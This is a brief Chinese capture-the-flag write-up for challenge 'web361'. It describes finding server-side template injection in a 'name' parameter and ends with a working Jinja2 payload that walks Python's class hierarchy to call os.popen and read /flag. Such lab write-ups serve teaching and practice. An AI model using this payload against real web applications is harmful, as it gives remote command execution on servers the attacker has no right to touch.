web361

题目中提示名字是考点，所以在name后面进行ssti注入
首先传入{{7*7}}测试是否可以进行ssti注入，返回49说明可以

以此查询子类父类，再寻找父类下的函数模块，使用notepad把类分行找到os模块
调用os模块下的popen函数，执行命令得到flag


payload：
?name={{''.__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']("cat /flag").read()}}